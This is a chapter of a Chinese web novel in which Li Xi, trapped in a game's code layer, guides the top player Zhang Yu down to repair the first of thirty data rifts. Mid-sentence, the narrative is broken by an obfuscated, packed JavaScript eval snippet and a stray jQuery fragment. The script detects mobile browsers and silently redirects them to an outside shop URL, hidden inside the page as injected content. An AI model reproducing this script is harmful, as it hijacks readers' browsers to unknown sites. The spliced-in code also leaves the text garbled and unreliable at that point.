接引通道搭建了整整七个小时。
李析不知道自己是怎么撑过来的。底层代码区没有白天黑夜,头顶只有那串倒计时在不知疲倦地跳动,但他能感觉到时间在身体里流过——以疲惫的形式。他盘腿坐在灰白色的荒漠中央,面前悬浮着半个透明的代码编辑窗口,手指在半空中划来划去,一行一行地手写通道脚本。
"拆东墙补西墙……"他低声自言自语,从底层边缘抽了一小段"墙体"数据填入通道框架。"拆完了底层也塌了,但起码……撑过明天再说。"
他每拆一段边缘数据,周围的灰白空间就会暗下去一点点,像烛火被风从远处吹了一口。他余光瞥见那些暗淡,假装没看到。
到了凌晨——如果底层也有"凌晨"的话——通道框架终于跑通了。李析反复测试了三遍稳定性,确认投影形态可以在游戏表层维持大约两个小时。够用了。他不可能在张驭面前待超过两小时,那太危险了。
他最后看了一眼系统面板。
【倒计时:29天18小时02分。】
时间又少了。他关掉面板,开始调整投影参数。面部——模糊,必须模糊。他手动加了一层数据迷雾,让整张脸像笼在晨雾里的远山,轮廓还在,细节全无。斗篷选了灰黑色,没有任何可辨识的标识或纹路。身高他微调矮了两公分,站姿重心也往后移了半寸——张驭看过李析作为工程师出席发布会的公开影像,他要确保自己走路的姿势、体态、一切"肢体语言"都和那个站在主控台前的李析对不上。
"启动。"他点击确认。
身体开始从底层"抽离"。像沉在水底的人忽然被一股力量往上拽,眼前灰白色的荒漠开始收缩、褪色,取而代之的是一层层飞速掠过的数据流——蓝色的、绿色的、白色的,像穿过一条由光构成的隧道。
然后光散了。
李析的投影落在亡魂殿堂副本外侧的石径上。游戏表层的色彩瞬间涌进他的感知——暗红色的天空压在头顶,像一块快烧完的炭。残破的石制建筑散落在道路两侧,灰色的雾气从地面裂缝里丝丝缕缕地渗出来。空气里有"焦糊味",那是副本附近残留的战斗特效粒子在缓慢降解。
他低头看自己的手。仍然是半透明的,但比在底层时稍微"实"了一点,能看清指节的轮廓。表层的数据密度比底层高得多,他的投影在这里像是泡在浓汤里,到处都是可感知的"东西"。
他确认周围没有其他玩家。安全。
李析深吸了一口"数据空气"——游戏表层模拟的风从远处吹来,带着一点尘土和金属的味道。和底层那个什么都没有的灰白空间比起来,这里简直像人间。他花了一秒钟贪婪地感受那个味道,然后收住心神,朝副本出口的方向走去。
张驭就靠在副本大门外的一块石碑上。
李析走近时,首先看到的是那把刀。S级武器,刀身上流转着暗红色的数据纹路,像嵌在钢铁里的血管,一明一灭地呼吸着。刀被扛在主人的肩膀上,刀尖朝后,主人懒洋洋地靠在一块坍塌了大半的石碑边缘,脚边散着几块碎石和一枚不知道什么时候爆出来的低级材料。
然后他看清了张驭的脸。
比录像里看着高,也比录像里看着宽。战斗服是黑色的紧身款,把肩线撑得很满——那肩宽在录像画面里被压缩过,站在面前才意识到"这人比普通人多占三分之一的视觉空间"。头发是黑的,剪得很短,额前有几缕散下来,堪堪遮住一点眉骨。五官偏冷,眉压眼重,嘴角自然垂着,没表情的时候整张脸像一块刚浇过水的青石板,又硬又凉。最引人注目的是那双眼睛——在暗红色天光下显得格外浅,瞳孔近乎灰褐色,像两块冻过的石头嵌在眉弓的阴影里。
李析走到大约五步远的地方停下。"来了?"张驭没动。他仍然靠在那里,只是眼珠从远处的天空转到了李析身上。那双浅色瞳孔在李析的投影上停住,上上下下地扫了一遍。目光像刀片在刮——不是"看",是"检测"。从李析模糊的面部到斗篷的褶皱,从半透明的指尖到站姿的重心脚,每一个细节都被那双灰褐色的眼睛过了筛子。
沉默持续了大约五秒。
然后张驭开口:"你就是深渊意志?"
他顿了一下,嘴角动了动,那个弧度介于嗤笑和嘲讽之间:"瘦成这样?"
李析在心里骂了一句。他料到张驭会打量他,没料到第一句就是拆台。"瘦"——一个神祇级的意志碎片怎么会有"体型"的概念?他维持机械音,语调不带任何情绪:"形体为数据投影,与生前的□□特征无关。请随我进入底层。"
张驭没接话。他从石碑上撑起身来——那个动作看着很松弛,像午睡醒了伸个懒腰。但李析注意到他的步距比普通人略小,重心始终压在前脚掌上。随时可以拔刀。这个人睡着的时候和醒着的时候,大概是一个姿势。
张驭走到李析面前,距离不到半步。他比李析高了大半个头,李析的视线平视过去只能看到他的下巴和颈侧的线条。张驭垂下眼睛——李析能感觉到那道视线落在自己的斗篷领口附近——然后突然伸出手。
两根手指捏住了李析斗篷边缘的布料。
那个动作太快了,快到李析没有时间后退。他能感觉到那两根手指捏住的位置传来了"触感数据"的反馈——张驭的指尖温度偏低,但捏合时的力度很稳,甚至微微摩擦了一下斗篷的纤维纹理。那纹理是李析随手复制的系统默认布材参数,他根本没想过会有人去摸。
张驭低头看了看自己的指尖,又抬眼看向李析模糊的脸,嘴角那点弧度又浮出来了。这次比刚才大了半分,像一枚硬币的边缘终于翻过了桌角。
"意志碎片还有体温?"他收手,指尖轻轻搓了搓,像在回味触感。"而且——"他垂眼看了一下自己的指腹,"布料仿真率挺高。你们这服务器的材质库该更新了。"
李析后背的冷汗在这一秒之内浸透了整条脊柱。全息游戏的NPC不会模拟体温——那是给玩家角色用的物理交互功能。他忘了把投影的"物理交互参数"调到零。一个只有"残余回响"的NPC不该有可以被触摸到的温度和纹理。
低级的错误。在张驭面前,低级错误就是能要命的错误。
李析的脑子在0.5秒之内飞速转了一圈,然后在后台瞬间触发了一段微小的数据干扰。他的斗篷表面闪过一道细碎的光纹,像老电视屏幕上的雪花,紧接着整个人影模糊了半秒。他用"数据不稳定"来解释刚才的一切——看,我不是真人,我只是个信号不好的投影。
同时他维持机械语调开口:"投影形态为高精度模拟,以降低玩家认知不适。请专注任务目标。"
张驭后退了半步,看着李析模糊又恢复的身影,眉头微不可察地动了一下。那个表情一闪就没了,快到李析几乎以为自己看错了。"你这是什么毛病?"张驭把捏过斗篷的手指垂回身侧,"信号不好?"
"底层裂隙正在侵蚀投影稳定性。"李析用比刚才更冷、更机械的语调说,"时间有限。请尽快进入底层。"
他在催促。用催促覆盖刚才的破绽,用"紧急"掩盖"心虚"。这是他此刻能想到的最好策略。
张驭看了他几秒。那几秒里四周只有风声,副本外的荒原上有两只低级怪物慢吞吞地走过,完全无视了两人。然后张驭把刀从肩上拿下来,随手往地上一戳。刀尖没入地面一寸,周围的地砖裂了几道蛛网状的细缝。
"行。"张驭说,"但我先说清楚。"
他微微俯身,压近李析的投影。两人之间的距离从半步缩到了半步的一半。李析能感觉到张驭呼出的气流——玩家角色有模拟呼吸,那气流带着一点微凉的数据温度,扫在他模糊的面部轮廓上。
"我跟你下去,"张驭说,声音比刚才低了一个八度,"不是因为我信了那套'深渊意志'的鬼话。是因为三十天'全服数据崩塌'——如果是假的,你这系统漏洞编得挺用心,我陪你玩玩。"
他直起身。"如果是真的——那我也没亏什么。"
李析没接话。他转身朝自己来时的方向迈步:"请跟紧。通道入口在我投影的坐标点。"
张驭拔起地上的刀,不紧不慢地跟在后面。
通道入口在一片空地中央。李析的投影停在那里,脚下的地面开始变得透明——像冰面在阳光下慢慢融化,露出底下一层深灰色的"海水"。先是薄薄一层,然后越来越透,直到灰白色的荒漠地面完全变成了一块透明的玻璃板,下面是浓稠的、缓慢流动的数据暗流。
李析的身体率先下沉。不是坠落,是"渗透",像一滴墨滴进水层里,从表层的亮色慢慢溶入底层的灰色。他沉到胸口时回头看了一眼,张驭正站在入口边缘,低头看着那块透明的地面。他的倒影在数据暗流里微微晃动,像另一个深水处的自己正在抬头看他。
然后张驭也迈了进来。
穿过边界的瞬间,两人的数据流同时剧烈波动了一下——像穿过了一层静电帘,皮肤表面有细密的针刺感。李析预先做了防护,所以只是表皮微麻。张驭没有防护,整个人在穿过那层边界时明显地僵了一下。
"啧。"他偏头看了看自己的手臂,战斗服袖口上沾了几粒跳动的电火花。"有电?"
"数据层过渡的伴随反应。"李析的机械音在通道里听起来格外空旷,"通常不会对玩家造成实质性伤害。"
"通常。"
李析没接话。两人一前一后穿过灰暗的过渡层,周围的色彩像被水泵抽走一样一层层褪去——暗红色的天空变成暗灰色,暗灰色变成灰白,最后的最后,张驭的靴子踩在了底层荒漠的地面上。
他的双脚刚刚落地,鞋底下的灰白平面就瞬间亮了起来。
不是普通的"亮"。是大片大片的、密密麻麻的红色错误代码从接触点向外辐射,像踩到了一个埋在地底的警报器,红色的字符一层层炸开,向四周扩散,照亮了两人周围十步以内的整片区域。那些代码在空气中短暂停留了一两秒,然后像水纹一样散掉,但更多的又从更远的地方涌上来。
张驭低头看着自己的脚底,红色的光映在他的侧脸上,把他灰褐色的瞳孔染成了暗红。他没有躲,也没有后退。他反而蹲了下来——单手撑着膝盖,另一只手套着战斗手套,沿着一条正在发红的错误代码轨迹慢慢划了一下,像是在摸一道伤口的边缘。
红色的光一明一灭地映着他的脸。
"你们这底层……"他直起身,偏头看向李析,语气里第一次带上了一点说不清道不明的东西——不是恐惧,不是厌恶,更像是一种"确认了什么"之后的平静,像一个人在做了很久的猜测之后终于得到了答案。
"像活人的血管。"张驭说,"一动就流血。"
李析站在两米之外,喉头紧了一下。他没有接话。他在心里重新评估了一件事:这个人不是靠"数据"来理解世界的。他是靠直觉、触感、比普通人多一倍的感知通道来接收信息。跟他在一起的每一秒,李析都像站在一块薄冰上。
张驭收回了手,直起身,开始扫视四周。灰白荒漠向无限远的地方延伸,没有边界,没有参照物,没有天与地的分界。他和李析站在一个什么都没有的巨大空间里,脚下是不时会泛红的错误代码,头顶是看不见的倒计时在跳动。
"行了。"张驭转回视线,落在李析身上,"说正事。我要修什么?怎么修?你陪我多久?"
李析调出代码层地图的投影。一张半透明的结构图在两人之间展开,上面用红点标出了三十个密集分布的断裂处——核心协议被删除后留下的裂隙。那些红点分布在结构图的不同深度,有的靠表层,有的埋在深层,像一个倒置的树冠上缀满了病斑。
"三十个裂隙点。"李析指着那些红点,"每天修复一个,三十天完成。每个点需要你以最高权限运行我提供的修复脚本。全程我会远程引导。"
张驭看着那张结构图,目光从第一个红点移到最后一个,像在数。"三十天。"他重复了一遍,然后偏过头来看李析。"你陪我?"
"我会全程指引。"
"我问的不是指引。"张驭的视线从结构图上抬起来,直直地落在李析模糊的面部。"我问的是——你这个人,是不是也待在这里,待够三十天。"
李析被问住了。他从来没有想过"陪"的问题。他想的只是"骗一个代行者下来干活",至于他自己——他本来就被困在这里,出不出去不由他选。但张驭的问题隐含了另一层意思:如果李析不是一直守在底层,如果他随时可以"消失",张驭凭什么信他不会跑路?
"……我会在底层。"李析说,"你每一个裂隙点都能看到我。"
张驭没
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17930579|213624||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
再追问,只点了点头。"行。"
李析带张驭往荒漠深处走。脚下偶尔有红色错误码闪烁,像走在一条会呼吸的路上。大约走了十几分钟,两人面前出现了一道墙。
准确的说是"数据墙"。由无数行灰白色的代码字符堆叠而成的巨大屏障,高不见顶,左右望不到边。那些字符以肉眼无法跟踪的速度飞速滚动着,像一条永远在流动的河流被冻在了原地。墙的正中裂开一道漆黑的缝隙,约一人宽,从底部延伸到李析视线够不到的顶端。
缝隙的边缘参差不齐,里面不断地往外渗出乱码和扭曲的字符——那些字符像有生命一样蠕动着、脱落着、又新生着。李析靠近时能感觉到缝隙内部传来的数据扰动,像站在一座半塌的大坝下面,能听见内部的水流在撞击裂纹。
"第一个。"他说。"难度最低。"
张驭仰头看了一眼那道裂隙的高度。"第一个"三个字从他嘴里出来的时候尾音微微上扬,不是疑问,是一种"你管这叫难度最低"的无声质问。
李析调出修复脚本的界面,悬浮在张驭面前。那是一个半透明的蓝色面板,上面滚动着一长串代码,最底部有一个醒目的红色按钮:【确认执行】。
"脚本已写好。"李析说,"你只需要把最高权限接入这段脚本,然后执行。"
"然后什么?"
"然后代码会自动缝合裂隙。"
张驭没再问了。他伸出手,指尖点上了蓝色面板底部的"确认执行"。
脚本开始运行。
灰白色的数据流从张驭的指尖涌向裂隙——那是最高权限玩家独有的数据色泽,纯净的亮白色,像冬天的第一场雪覆盖在黑色的裂缝上。那些白色丝线开始填充裂口的边缘,从底部向上,一点一点把张开的伤口合拢。李析盯着进度条,心跳比平时快了大概一倍。
前二十秒一切顺利。白色的修复数据稳步推进,裂口从底部缩窄了大约三分之一。然后裂隙内部忽然鼓动了一下。像一扇关到一半的门后面有什么东西撞了上来。
李析还没来得及开口警告——裂隙里猛地窜出了四五条暗红色的触手。
那些触手完全由乱码和错误数据凝聚而成,表面带着电流一样的细碎火花,扭曲着、滋啦作响着,从裂隙深处横扫而出。一条朝张驭的面门扑去,两条扫向左右两侧,还有一条绕了个弧度,直冲李析的投影而来。
张驭的反应像一帧一帧剪辑出来的动作片。他侧身让开第一条触手的同时右手已经搭上了刀柄——刀出鞘的瞬间暗红色的数据纹路暴涨了一瞬,刀刃划过空气带出一声尖啸。两条扫向左右的触手被他横向一刀同时斩断,断面整齐得像裁纸机切过,断掉的触手在空中扭了两下就化成碎码消散了。第三条朝李析扑去的触手在他回身之后紧跟着追到——张驭回劈的刀锋擦着李析投影的肩膀掠过,切面离他的投影边界大约一指宽,把那条触手从中间劈成了两半。
暗红色的碎片像烟花一样在李析面前炸开,散成细碎的乱码,落在他半透明的脚边,然后慢慢隐去。
张驭收刀,看了一眼在地上扭动着消散的触手残骸,然后侧过头来看向李析。他的呼吸几乎没有变化,像刚才那几刀跟呼吸本身一样不值一提。但他说出来的话带着一种不紧不慢的冷:"你们这'难度最低',起点挺高啊。"
李析站在原地看着他。刚才刀锋擦过肩膀的一瞬间,他清晰地感觉到刀刃带起的"气流"——张驭出刀的轨迹在数据空间里留下了短暂的扰动,如果偏一寸就会切到他的投影,但张驭就是卡着那一寸的边缘过去的。不是运气,是控制力。从拔刀到收刀用了不到三秒,三刀解决全部触手,身上连一点乱码碎渣都没沾上。
李析忽然清楚地意识到一件事:如果张驭有一天把刀对准他,他连躲的机会都没有。
"触手……是裂隙防御机制。"李析用机械音说,尽量不让那点后怕渗进语气里。"你的权限运行修复脚本会触发底层残留的防御程序。后续裂隙点可能也会有类似反应。"
"嗯。"张驭把刀收回鞘里,转回去看那道裂隙——白色的修复数据还在继续运行,触手被清除后进度明显加快了。裂隙从底部慢慢往上合拢,像拉链被一双看不见的手从底下拉了上来。
几十秒后,裂隙完全闭合了。原处只剩一道浅浅的灰色痕迹,像旧伤疤褪色之后留下的印记。张驭的数据面板弹出提示:【任务进度:1/30。】
张驭低头看了一眼面板,把刀换了个肩扛的姿势。"二十九个。"他说,语气里听不出高兴还是不高兴,像在陈述外卖还剩几份没到。
李析维持着机械音:"明天的第二个裂隙点坐标,我会在你下次登录时发送——"
"不用。"张驭打断了他。"你在这里等我。我每天来。"
他把视线从面板上移开,看着李析。那双灰褐色的眼睛在灰白的底层空间里显得格外浅,像两块埋在雪地里的石头。"我来了,你就在。"他说,"别让我下来之后找不到人。"
李析察觉到"我来了你就在"这六个字里有一种微妙的控制欲——张驭不接受"远程遥控",他要的是"面对面的确认",他要在每次下来的时候看到那个穿着斗篷的模糊人影还站在那里。像在确认自己的猎物没有跑出笼子。
"……可以。"李析说。
张驭转身朝来时的方向走去。通道还在,李析没有关,他穿过那片灰白荒漠的背影在空旷的空间里显得格外高大。走了大约五六步,他停住了。
他没有回头。
"对了,"他说,"你手上那团投影的光——刚才触手出来的时候,它抖了一下。"
然后他继续走了。穿过通道入口,黑色的战斗服被过渡层的数据流吞没,暗红色的刀光在灰暗里闪了一下就消失了。
李析一个人站在闭合的裂隙面前,低头看自己的右手。
指尖——在轻微地发颤。
不是投影的故障。是他自己控制的、身体本能的、害怕了。从被推进底层到现在,他第一次在"没有别人看着"的时刻允许自己发抖。
灰白色的荒漠里,裂隙闭合后的墙面平滑得像从未破过,倒计时的数字在他头顶安静地跳动。李析抬起那只还在发颤的手,看了很久。
他连"害怕"都不敢让别人看见。
可张驭看见了。